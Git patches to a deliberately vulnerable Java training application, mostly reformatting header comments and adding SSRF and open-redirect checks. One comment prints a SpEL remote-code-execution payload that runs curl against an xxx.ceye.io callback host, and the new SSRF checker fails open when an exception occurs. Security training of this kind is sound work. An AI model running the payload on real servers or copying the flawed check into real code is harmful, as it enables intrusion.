JoyChou (joychou@joychou.org) + * @date 2018.10.24 + * @desc https://github.com/JoyChou93/java-sec-code/wiki/CORS */ @Controller @@ -48,6 +48,7 @@ private static String vuls3(HttpServletResponse response) { return info; } + @RequestMapping("/sec") @ResponseBody private static String seccode(HttpServletRequest request, HttpServletResponse response) { diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java index 01668290..b0e9af4c 100644 --- a/src/main/java/org/joychou/controller/CRLFInjection.java +++ b/src/main/java/org/joychou/controller/CRLFInjection.java @@ -9,9 +9,9 @@ import javax.servlet.http.HttpServletResponse; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.01.03 - * @desc: Java 1.7/1.8没有CRLF漏洞 (test in Java 1.7/1.8) + * @author JoyChou (joychou@joychou.org) + * @date 2018.01.03 + * @desc Java 1.7/1.8 no CRLF vuls (test in Java 1.7/1.8) */ @Controller diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java index ebef75c8..ea33c59e 100644 --- a/src/main/java/org/joychou/controller/CSRF.java +++ b/src/main/java/org/joychou/controller/CSRF.java @@ -7,10 +7,10 @@ import org.springframework.web.bind.annotation.ResponseBody; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2019.05.31 - * @desc: check csrf using spring-security - * @using: access http://localhost:8080/csrf/ -> click submit + * @author JoyChou (joychou@joychou.org) + * @date 2019.05.31 + * @desc check csrf using spring-security + * @usage Access http://localhost:8080/csrf/ -> click submit */ diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 14ac5bd9..964a7777 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -10,9 +10,9 @@ import java.io.ObjectInputStream; /** - * @author: JoyChou - * @Date: 2018年06月14日 - * @Desc： 该应用必须有Commons-Collections包才能利用反序列化命令执行。 + * @author JoyChou (joychou@joychou.org) + * @Date 2018年06月14日 + * @Desc 该应用必须有Commons-Collections包才能利用反序列化命令执行。 */ @Controller diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index f2afa10a..ac378219 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -21,9 +21,9 @@ /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.08.15 - * @desc: Java file upload + * @author JoyChou (joychou@joychou.org) + * @date 2018.08.15 + * @desc Java file upload */ @Controller @@ -136,11 +136,11 @@ private void deleteFile(File... files) { } /** - * @desc 不建议使用transferTo，因为原始的MultipartFile会被覆盖 - * @url https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file + * 不建议使用transferTo，因为原始的MultipartFile会被覆盖 + * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file + * * @param multiFile * @return - * @throws Exception */ private File convert(MultipartFile multiFile) throws Exception { String fileName = multiFile.getOriginalFilename(); @@ -156,8 +156,10 @@ private File convert(MultipartFile multiFile) throws Exception { } /** + * Check if the file is a picture. + * * @param file - * @desc 判断文件内容是否是图片 + * @return */ public static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java index 5874ffc3..d3550e4f 100644 --- a/src/main/java/org/joychou/controller/IPForge.java +++ b/src/main/java/org/joychou/controller/IPForge.java @@ -8,10 +8,10 @@ import javax.servlet.http.HttpServletRequest; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.29 - * @desc: Java获取IP安全代码 - * @detail: 关于获取IP不安全代码，详情可查看https://joychou.org/web/how-to-get-real-ip.html + * @author JoyChou (joychou@joychou.org) + * @date 2017.12.29 + * @desc Java获取IP安全代码 + * @detail 关于获取IP不安全代码，详情可查看https://joychou.org/web/how-to-get-real-ip.html */ @Controller diff --git a/src/main/java/org/joychou/controller/Index.java b/src/main/java/org/joychou/controller/Index.java index a8ebd2ab..4f2fab99 100644 --- a/src/main/java/org/joychou/controller/Index.java +++ b/src/main/java/org/joychou/controller/Index.java @@ -11,9 +11,9 @@ /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.05.28 - * @desc: Index Page + * @author JoyChou (joychou@joychou.org) + * @date 2018.05.28 + * @desc Index Page */ @Controller diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java index 971deeee..77bc47f4 100644 --- a/src/main/java/org/joychou/controller/JSONP.java +++ b/src/main/java/org/joychou/controller/JSONP.java @@ -8,7 +8,7 @@ /** - * @author JoyChou + * @author JoyChou (joychou@joychou.org) * @date 2018年10月24日 */ diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 8583d2db..983e3164 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -10,10 +10,10 @@ import java.io.InputStreamReader; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.05.24 - * @desc: java xxe vuls code - * @fix: 过滤造成命令执行的参数 + * @author JoyChou (joychou@joychou.org) + * @date 2018.05.24 + * @desc Java code execute + * @fix 过滤造成命令执行的参数 */ @Controller diff --git a/src/main/java/org/joychou/controller/SPEL.java b/src/main/java/org/joychou/controller/SPEL.java index 481aed46..e0ad72fb 100644 --- a/src/main/java/org/joychou/controller/SPEL.java +++ b/src/main/java/org/joychou/controller/SPEL.java @@ -7,12 +7,12 @@ import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletRequest; -/* - * Author: JoyChou - * Date: 2019年01月17日 - * Desc: SPEL导致的RCE - * Usage: http://localhost:8080/spel/rce?expression=xxx(xxx为exp的URL编码后的值) - * Exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") +/** + @author JoyChou (joychou@joychou.org) + @date 2019.01.17 + @esc SPEL leas to RCE + @usage http://localhost:8080/spel/rce?expression=xxx. xxx is urlencode(exp) + @exp T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") */ @Controller diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index 532c82ef..a65b8ba8 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -10,9 +10,9 @@ /** - * Date：2018年08月22日 - * Author: JoyChou - * Desc: SQL注入漏洞 + * @author JoyChou (joychou@joychou.org) + * @date 2018.08.22 + * @desc SQL Injection */ @Controller diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index d3d54c33..550b13a3 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -7,6 +7,7 @@ import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; +import org.joychou.security.SecurityUtil; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @@ -22,10 +23,9 @@ /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.28 - * @desc: java ssrf vuls code - * @fix: https://github.com/JoyChou93/trident/blob/master/src/main/java/SSRF.java + * @author JoyChou (joychou@joychou.org) + * @date 2017.12.28 + * @desc Java ssrf vuls code. */ @@ -174,4 +174,28 @@ public static String ssrf_HttpClient(HttpServletRequest request) { } } + + + /** + * http://localhost:8080/ssrf/ImageIO_safe?url= + * + * @param request + * @return + */ + @RequestMapping("/ImageIO_safe") + @ResponseBody + public static String ssrf_ImageIO_safecode(HttpServletRequest request) { + String url = request.getParameter("url"); + try { + URL u = new URL(url); + if (!SecurityUtil.checkSSRF(url)) { + return "SSRF check failed."; + } + ImageIO.read(u); // send request + } catch (Exception e) { + return e.toString(); + } + + return "ImageIO ssrf safe code."; + } } diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index ce52477c..753530d1 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -10,11 +10,13 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; +import org.joychou.security.SecurityUtil; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.28 - * @desc: Java url redirect + * @author JoyChou (joychou@joychou.org) + * @date 2017.12.28 + * @desc Java url redirect. + * @fix Check redirect url whitelist. */ @@ -23,8 +25,8 @@ public class URLRedirect { /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * usage: http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com + * */ @GetMapping("/redirect") public String redirect(@RequestParam("url") String url) { @@ -32,8 +34,8 @@ public String redirect(@RequestParam("url") String url) { } /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * usage: http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com + * */ @RequestMapping("/setHeader") @ResponseBody @@ -44,8 +46,8 @@ public static void setHeader(HttpServletRequest request, HttpServletResponse res } /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * usage: http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com + * */ @RequestMapping("/sendRedirect") @ResponseBody @@ -56,8 +58,9 @@ public static void sendRedirect(HttpServletRequest request, HttpServletResponse /** - * @usage: http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test - * @disc: 安全代码，没有URL重定向漏洞。 + * desc: security code.Because it can only jump according to the path, it cannot jump according to other urls. + * usage: http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test + * */ @RequestMapping("/forward") @ResponseBody @@ -71,9 +74,21 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo } } - @RequestMapping("/test") + /** + * desc: sendRedirect security code + * usage: http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com + * + */ + @RequestMapping("/sendRedirect_seccode") @ResponseBody - public static String test() { - return "test"; + public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{ + String url = request.getParameter("url"); + String urlwhitelist[] = {"joychou.org", "joychou.com"}; + if (!SecurityUtil.checkURLbyEndsWith(url, urlwhitelist)) { + // Redirect to error page. + response.sendRedirect("https://test.joychou.org/error3.html"); + return; + } + response.sendRedirect(url); } } diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 1b33de64..fb5ce94b 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -14,9 +14,9 @@ import java.util.regex.Pattern; /** - * date: 2018年08月23日 - * author: JoyChou - * desc: URL白名单绕过 + * @author JoyChou (joychou@joychou.org) + * @date 2018.08.23 + * @desc URL whitelist bypass. */ @Controller diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java index 4f3bdff5..70d4302d 100644 --- a/src/main/java/org/joychou/controller/XSS.java +++ b/src/main/java/org/joychou/controller/XSS.java @@ -8,9 +8,9 @@ import javax.servlet.http.HttpServletRequest; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.01.02 - * @desc: xss vuls code + * @author JoyChou (joychou@joychou.org) + * @date 2018.01.02 + * @desc XSS vuls code */ @Controller diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 1531ecf4..11280a51 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -22,9 +22,9 @@ /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.22 - * @desc: Java XXE 漏洞代码，修复代码在注释里 + * @author JoyChou (joychou@joychou.org) + * @date 2017.12.22 + * @desc Java XXE vul code. */ @Controller diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java new file mode 100644 index 00000000..1a4a5d91 --- /dev/null +++ b/src/main/java/org/joychou/security/SSRFChecker.java @@ -0,0 +1,137 @@ +package org.joychou.security; + +import java.net.HttpURLConnection; +import java.net.InetAddress; +import java.net.URI; +import java.net.URL; +import org.apache.commons.net.util.SubnetUtils; + +public class SSRFChecker { + + public static int connectTime = 5*1000; // 设置连接超时时间5s + + /** + * 解析url的ip，判断ip是否是内网ip，所以TTL设置为0的情况不适用。 + * url只允许https或者http，并且设置默认连接超时时间。 + * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后，进行判断，代码待续… + * + * @param url check的url + * @return 安全返回true，危险返回false + */ + public static Boolean checkSSRF(String url) { + + HttpURLConnection connection; + String finalUrl = url; + try { + do { + // 判断当前请求的URL是否是内网ip + Boolean bRet = isInnerIPByUrl(finalUrl); + if (bRet) { + return false; // 内网ip直接return，非内网ip继续判断是否有重定向 + } + + connection = (HttpURLConnection) new URL(finalUrl).openConnection(); + connection.setInstanceFollowRedirects(false); + connection.setUseCaches(false); // 设置为false，手动处理跳转，可以拿到每个跳转的URL + connection.setConnectTimeout(connectTime); + //connection.setRequestMethod("GET"); + connection.connect(); // send dns request + int responseCode = connection.getResponseCode(); // 发起网络请求 + if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) { + String redirectedUrl = connection.getHeaderField("Location"); + if (null == redirectedUrl) + break; + finalUrl = redirectedUrl; + // System.out.println("redirected url: " + finalUrl); + } else + break; + } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK); + connection.disconnect(); + } catch (Exception e) { + return true; // 如果异常了，认为是安全的，防止是超时导致的异常而验证不成功。 + } + return true; // 默认返回true + } + + + + /** + * 判断一个URL的IP是否是内网IP + * + * @return 如果是内网IP，返回true；非内网IP，返回false。 + */ + public static boolean isInnerIPByUrl(String url) throws Exception { + String host = url2host(url); + if (host.equals("")) { + return true; // 异常URL当成内网IP等非法URL处理 + } + + String ip = host2ip(host); + if(ip.equals("")){ + return true; // 如果域名转换为IP异常，则认为是非法URL + } + + return isInnerIp(ip); + } + + + /** + * 使用SubnetUtils库判断ip是否在内网网段 + * + * @param strIP + * @return 如果是内网ip，返回true，否则返回false。 + */ + public static boolean isInnerIp(String strIP){ + + String blackSubnetlist[] = {"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8"}; + + for (String subnet: blackSubnetlist) { + SubnetUtils utils = new SubnetUtils(subnet); + if (utils.getInfo().isInRange(strIP)) { + return true; + } + } + + return false; + + } + + /** + * host转换为IP + * 会将各种进制的ip转为正常ip + * 167772161转换为10.0.0.1 + * 127.0.0.1.xip.io转换为127.0.0.1 + * + * @param host + */ + public static String host2ip(String host) { + try { + InetAddress IpAddress = InetAddress.getByName(host); // send dns request + return IpAddress.getHostAddress(); + } + catch (Exception e) { + return ""; + } + } + + /** + * 从URL中获取host，限制为http/https协议。只支持http:// 和 https://，不支持//的http协议。 + * + * @param url + */ + public static String url2host(String url) { + try { + // 使用URI，而非URL，防止被绕过。 + URI u = new URI(url); + if (!url.startsWith("http://") && ! url.startsWith("https://")) { + return ""; + } + + return u.getHost(); + + } catch (Exception e) { + return ""; + } + + } +} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 0d444f55..e3fdc4eb 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -1,6 +1,7 @@ package org.joychou.security; + import java.net.URI; public class SecurityUtil { @@ -8,18 +9,21 @@ public class SecurityUtil { /** * 通过endsWith判断URL是否合法 * - * @param url + * @param url 需要check的url + * @param urlwhitelist url白名单list * @return 安全url返回true，危险url返回false */ public static Boolean checkURLbyEndsWith(String url, String[] urlwhitelist) { + if (null == url) { + return false; + } try { URI uri = new URI(url); - // 判断是否是http(s)协议 + if (!url.startsWith("http://") && !url.startsWith("https://")) { return false; } - // 使用uri获取host String host = uri.getHost().toLowerCase(); for (String whitelist: urlwhitelist){ if (host.endsWith("." + whitelist)) { @@ -29,11 +33,22 @@ public static Boolean checkURLbyEndsWith(String url, String[] urlwhitelist) { return false; } catch (Exception e) { - System.out.println(e.toString()); return false; } } - + /** + * 解析url的ip，判断ip是否是内网ip，所以TTL设置为0的情况不适用。 + * + * @param url check的url + * @return 安全返回true，危险返回false + */ + public static Boolean checkSSRF(String url) { + if (SSRFChecker.checkSSRF(url)) { + return true; + } else { + return false; + } + } } \ No newline at end of file From 2e91353cfd60ff832d18c2f38d535aeda356a18b Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 21 Jun 2019 20:46:07 +0800 Subject: [PATCH 028/108] update readme --- README.md | 32 +++++++++++++++++--------------- idea-tomcat.png | Bin 38151 -> 0 bytes 2 files changed, 17 insertions(+), 15 deletions(-) delete mode 100644 idea-tomcat.png diff --git a/README.md b/README.md index 2b4fdddc..12a3453b 100644 --- a/README.md +++ b/README.md @@ -56,7 +56,7 @@ Sort by letter. - Exclude tomcat in pom.xml. - ``` + ```xml org.springframework.boot spring-boot-starter-web @@ -70,7 +70,7 @@ Sort by letter. ``` - Build war package by `mvn clean package`. -- Copy war package to Tomcat webapps directory. +- Copy war package to tomcat webapps directory. - Start tomcat application. Example: @@ -101,20 +101,22 @@ return: Viarus ``` -### JAR +### Jar -Change `war` to `jar` in `pom.xml`. +- Change `war` to `jar` in `pom.xml`. -``` -sec -java-sec-code -1.0.0 -war -``` + ```xml + sec + java-sec-code + 1.0.0 + war + ``` + +- Build package and run. + + ``` + mvn clean package -DskipTests + java -jar target/java-sec-code-1.0.0.jar + ``` -Build package and run. -``` -mvn clean package -DskipTests -java -jar target/java-sec-code-1.0.0.jar -``` \ No newline at end of file diff --git a/idea-tomcat.png b/idea-tomcat.png deleted file mode 100644 index 5d0504f4587800ab1d63de656139f15edad5b96a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 38151 zcmZ6yV|ZlU)&&~dw$*XcQO8New(WFm+qTuQ-5uMuZQIVx+wVE&-tYdYr>b_<00Ds#f4v`pg7|u^3zB630)nYA2LR;60RSR7dm9sT zOJg7)v9P3MNF_ycjKR*w8C)Rd@kTw-7p2`Il`B-GRaq#PJZLj2g% z0!ZMZg+ppcunhtN-xh$e(dO)GfT*c&eaX+xve$WDC!3$W4-YzCKQ2dKCz^p`UpYwR zVWhx`lvBSUTss?z2oEyaO#*>U`GU{_W%rIFHA6tYf(kjDZnAC!D3P|9GOwR*`g~T$ z@AjM80{i+SNADWjDkAd+^nq82WkLhNK>zwft;jM?4mH~!Di9bW>##%HDC4k3yO~o8 z4QnUriUq`-){9ID!vEsCm!`fZRDhTkU6U3|i9~YdSA&`|xlNoIQe*e?=L$=XkQ(1b z&I{Q`rD^7G%8&%A{bkcMw9)aFbI%WRP5I4>>XjF@6lH`-gV@m=Hs_ObIp~i^Dm?_NO}WEX{C?1G_v7|) zWH01-%p)}ZWxL-dLBgP+ss`FKgMcspb1`x}! zpuv(03W|a3^JnA=mOxPlAqcQeO-`vFp*Vt`1QPIrPC?xvyujt_F-wIg>ub9rkNIos z^KroGAW-%k+p=Xs+Js1MNj!0^LFxM2bg$d;y}=LwfYG4)`OSYx$ZrDl|qd#ao1>7-Zh1)$eE+%($yYo9s8=yJFx~GrdH1rg6r0 z25iaGfW8`r-xs}Y%R!!rJb{cExVyz{_uTZ}wA&QXM8Ae~L7E+?I;gqTe#PWU?2X!i zz1^ zWhnrfrQ9T*sQ?K~N&2H#Mr=cg!z?3?!)1fKMUZ57YREQ+nHyW zi<+sL0~~3!V%YK$^l#$H8m!&A{mNU(1&Bf0>lxWN0 z$`_Y%mBP+Fmgp+^3@hoiFe|2#kI{_D!=u9!!iNnIMvR$Kn@CD7w z^xg4Y;{6pu4K!Jxt{XU@HMl1C5AkNr*i|&LrI8^SBd6Y+c_dTAcMKd=oX7N7X)WnG zsh`piQrJZwMHx~VQk%3hI%xG~i+K;in`0H@3S-f!Jj^NVkF1+U8wMW}JyZS`@+Nkh z@dn4n&E0j&Hl)+ z;7s5hN*tQfYtVD2P^Vy4K~#xX4Qg*Tr8S4GE)5+ z$#FM#CwHHBk8;=asJ^$p?|yoEKD#+KF0X4o!+9vFuDs;jr13WDleA9*7qVi1A9@O*37F)zmIzlhQ{gK%G{dW0yf=zR5KV77$z>)cWMfEJnkO-FS!~t ztk*m5HG!+QOmfxr?Y2{_)~wil7(a9OLQ2n}SGk;*&N!M-TNRt?O;c{GPDq;b&hom~ zfm?AO86VNko@-q8H*ot^`q5uQU&&ryB;O>{A1y97n?EJLb^dN0tE}kID)h8??gQTN zs|uipJf&8mfuZ63q0Rno56K}6CseJux+ zRnILg%;72iXvoK?N}7wt({+BkfQ~^OccO3#Il;aUqU;tQ9!}vK{8)1sxl~#;UpQ|0 z&S^S=YX%PFn|l_;`0ue|mno zdk@bi=63a-At3%k^~f7`fRA zx6f0|&ETE;k!P}G@U#}XIJBN3sf*B#(w^>_^%=58xNmc}nfW}sKe?JOpAWFt1Hog<7xGL@OXZ$bTXG1 zN_sFB2|`7-6$l2jfe-GB0uOXf4I3%$ z6+0r95?;_F>(K(TH2)UmLq*y>W6*$E3XLrtUR<<6T2DLycO~qqn3bmME`y>6h=V1r?cO3D2>?B|^M|!h^cFhT%$H$E}mr1V24O10G#e5J* ziY~BJAXGh&@2S3NY0GfdJnUZ7sB)!E8Ei>0h^K6JAjzKgvUmh3Mj%qY(2RZ_0YICu zmr=Vzm3kmjdM`*dO4Lare^|@QLzaW8^_+j8HmQ>x=AeQod*UfYr0}z@_Ljh{!?m}! zn^{|nSXj`sw6qkEadB~RaB=m{&!aCaEVL{~S*toP?&$UY$h02fR}u9~oz z+UdaKZO9fewuSh2m8s2O7txdjsDnDL&`-sxHN0Kk2R(#_qe)&oST%Ki^H{f=6P7Lt zm~62&hjB*BE(yNs#>RyLd^zem1Y;dfAO!uwHMX`umR3eyt;Ysa(|#{{%pwHtP-R0y zOn>qNMwC=l0dFOiR#tx?LKvl5T3d;&!C-|ndZiHh`nzDAv2tSyn;%mBqUtHp zm!EH(ALoyo{&}r9>Wia{dZm@<4^`Qzs1;Za#jVWu(w-|mgdg62I!l#UNJPU|>Q3)Yt6xytKnTsBiUTv)OA-q#Tl-;PC}GS=CzTQ6z-!VvqH z&}I%!1WrDs(6xU{TtlFyI)lL>490U48Tq;@D+6WsWbi+P4;b0iq(q{`sQ}!RCV5Tg zNJ-$}^?lXU)x|}E8HHFdIvB+Q*@X-Xo}Qo0;S;AzU=Tx%e3xQf2GZJ?1lgm!AB_59 zi4$fd%#8}(NcO-VLL(vKchmkxQ>O2M4%l5jYUTL;tjaf=$y_Pg!;j&r_SnX)bn?VNaMiXq3{9R*#L{z&8`el zXr(3Qiie89?9Qx$POP@4QB&j#W_3UTB({$S=wS`;rW+H)1V-0cv$&ecDL4&Ix4tLb zpzEq3k&iC+#>=!1$s1*-KwalqZA(JS8a_i7FhOP?n3Pc0FJuE5KusW|Q3-I~#eTUN zN)EQwEE08Gar6y!qcv+uGL}C%{aw!}(;G=ClbDdkS7x(lSv;IAL+pnUtHnbK8TwL* z6aH~Wa)28@?p=od=4huY=$3QuHuZ~J=09nZCayOHC7)Xj2!ix}!>v$s;ozeAe*I9r zG0+iFer-?})&@6%Q$QfMU7GVM`6!&!4DJ=OUHIvZEHGo}eKVxR6`j2^=Tua*R(+( z4g=L@@Q}=*l8=@nCfXf?W~pdNi~vG=$hX3YkL$(abFXv)HtgkD6n^eyH%>C}mKfLXXp-p{US3NV)nNB$u<{kar{7V*kY*X5j5y%*Iv$ z+4ihQEi(Db$3(QnsK`g32u-HR?OYBwUL)CY@V2`MiMP8(#P0SBkPYso$e`{&Pqw-( zWcK$}orCYAg27nG=ir!e(fCWp`lVHpM#|kbk9USk5|>kuu^eLr zV@YTP@0U%Ebn+XZa>7qYOG;9H$EU)&tof&(pPxIu`AKNI0d$jmQPQ{VW*OYD5O)~w zZ`m(eXV15Ub~@B8a52@+{iTXot}lflTjZ<2WTId<{+S$N1hM!{KJvc`Iz#_B!uAHp z(g7A~saZ-5m?CygZYOv17x{wE)L?p}F$nxb1|KM zLc%l~pM0GZy!b&f7_c7$lDostHv2K2Ne0upm|Vn=y?KS(xE+t17#YvX%l(ilDp{+F%zI zy6*wr+Ei9^&JW5vyQ&i;_T_vCo%c*+zs0$(*7Aq1kOnCJklr5gzU}|=tO_LO@y+5| z>=rc*pStQmN!sZGyMP9P;2}2YX9u>q5i#Su%Nus|OZ5MpncJkGNSSjG7TPx8O=U0< z5)m;P>zU4sp^E|fr_%5ih6VM_dLx^DD7_Y;0vwl9p2`DfKU8cq^>9YnPL zzq?EtzuuL1e&Pi>h6zRhfrmS_EfO$b6>0arUx42c!2oy& z@)u5Js3_=#lWOq{^iL?AsA8U*%LvOM82QWW_7B_5recopkDqc1K9FMQ-`A2y|F}cnVkGX$#@HV`^Lr;G0 zPBNA^g0!w1f4^YmrE>=Vd~@c#g>d(rBfcoY%Ut8;A7jq?JZ65z}Fh2X?k*3!+blj=$*c zy12^sAAAHo4w}1#VXGS!1OueU#~i8)p-~Rp@F(lqNwV3Hgl$i2DuGa%!ye>1-c`U1 zpUnb;T!3qmJJ#GtJf!-R)t~n%sKMUJ+Op&^J*2LV(iMB)H(Iw;1g&Y&v+SoeOk;>% z26kijo4pH5{H1y~3!*g)r!Y9J>?BlVP`BTllSzC<0uuzwvIX8fM(r-JV&B$WYFTE4 zsb9Acb%Z`-brbI5uoTXY21{ZTP_OF;7sLj|P#7---Y(E_==7O<{ebnl!(VGI5uZzr zb)bDT67`g{kD9P7O=JHQJT{~d3~=)SFQ95RX7ya&&`h<@AZm}pE8HKjs4lD+BM`XV zE1!{p$~f?fg}r@wOCAIw#IV%=aB4oqn}`Kk`^GgiXC@YtGi+N;C|G3##Vus=7HdKZ zt{x>}w!iTJvgq2^>?Zs@JDcEJ43pdKIl!(cgTO0P{74Yd?tF3nE5|#ltiM2EPhJM$ z9~KEr!3YX%b|HQTMOa3Uo(ITBKD7uK@OKa^jy_=j+;0uFML~SpN5~thZZ4)W*E}ny zlKvKnX5+(=fVWb(<*R4IOr&I>>ujfFOc3&O7za$v{3cdQ8=Es5>FzN1+ToV6v`uX6j-(26-RXK5{SD zET{dJg1JPJ3F{zVw=%-f^Zq!`l6`Gr??-$UhNI5VIZ%bAiGcEE5N~{C=w>kFC~tR; z_w)DWl^W%ziHWGt8yvhC*0vm$5<(j$zhmjHUz7!W&b$x^go%eiUuIv)?l5DyzYvDZ z;q6msf2T<(gbfeHrVAB6+-WCDcO!oBRwI#tTSal}kJ*q@+in3eT`}L`-cLI4hN2Nt z6gr|f2ne;&C{x{IrI?h{&K&r+LU^S2>wXPLO+^Tti0S3FIeDA773fXV-SLst5?v#m zW_k4ItVyh@i>0K2CCSUDwdPe2RbFc>A*HdBY!b^BOX3{bftU}3&B55}Cgl6Rmrb@P z%Y39$?s3{G9`i zax>0p?#RTnEeo(hJR&}0w7hVkc6|k_R-2EQWp&T-xL|X2;8A}y>Z1icPF%Eum)gZ6 z{*Uw6iIG_st9y$ZG&H~^HQ*)3fRP1W@(|Pcbx@JO;#6-Pg(nzq6tOT2pmnZ`nV9>) z0bu%`p?q-^d!deoH*6dXJweG992*)WmHy<|_;noWe7S}exC`(?{9i7VJ?i%RC+E7r zOqhY2QP*UHgCxi|mbat#4%xTwGHiCs$vb-#__$n!O66=XK*G&#>bRWNVmbsz=VpEJ ztsqk`05c7N^0TGMyY3_PwixPZFg752 z|A&`aPXD%OInl&Q&c@;qiB{e#obPS4_-O%gNUWsOpZzmgB;9<4oK@sqKe&e6NC@8p zxAQ3h|KlUB@X8U3-|B<>ZL&3FtNt0%7DFUP7ftDvPjE!og*N9j`rs|Xl`r7#S%Aoi zk}B&X&Ol)`NH5LrC4=+BKD|vgC*XN}4XJhk*XH9M)AsoQHuZEREWf%l0w!L-84LaU z+5+*t7#+#-x}Z01ODQ7rlwvfX8b8m=Y1InPTqhbvwa%Joh8)k@nX^T%Eu!0b2I)s> zRJyZRD;oI(1Nsf(2b2$Y2O6KN8?L{ZcV#baZbX#jFR>Q*WW~!HOw=Y*D6G3cxTZt@h?%XAco6VkZ` zWko|V2}@H17LYM*$<_33=M}8943aCIwb+HfOReP#vj8qhWO)?QPg27HheA ziSzl1DCp7wMoFv-S*#T8N$~mlVgq3az}&sQYB!uvEJn;m?@x7l4i%bRfH z#;_5cQw1A$s^Zk^ajmkn|AEXfI;_@wDqI0wmofu?Vzuvw|9MGy#qEf6+3~^0f2ZP^ zauCvXeaLOTgjCAK(j>HvSui?SF#7p+Q^RI;y--~1rW~u3qc|kec9#fK-S)^CUG7lf z^(Ok$>x&ZAUbmSoD53eS29UC>zDiC@@^1Kh1OGUz$kbcza%b>P%a`j!3~c zIm!#{c79-$xOJdC$}KtYR46MUez4~XP;CoMBCp=QPYLR#EYpcB&dIF)ULfNwMnic+ ziQ3c%mAc+!*J~@AvtpsM33MunUDM_ck5NdD;^)^z6uPYu582myrO?tFcRwvbf)f+U zC?bS35PIbu%6HA&dmUJo&538#9y)hG)3o8GNXB`?`WfCKbcWC@CYsMD& zDl)Mxdd-y!2yh6DtwA$tH|kbkuMzn^QL|qkKSc_5)lR2#s$&S&zKvIwSZCGBajN%w 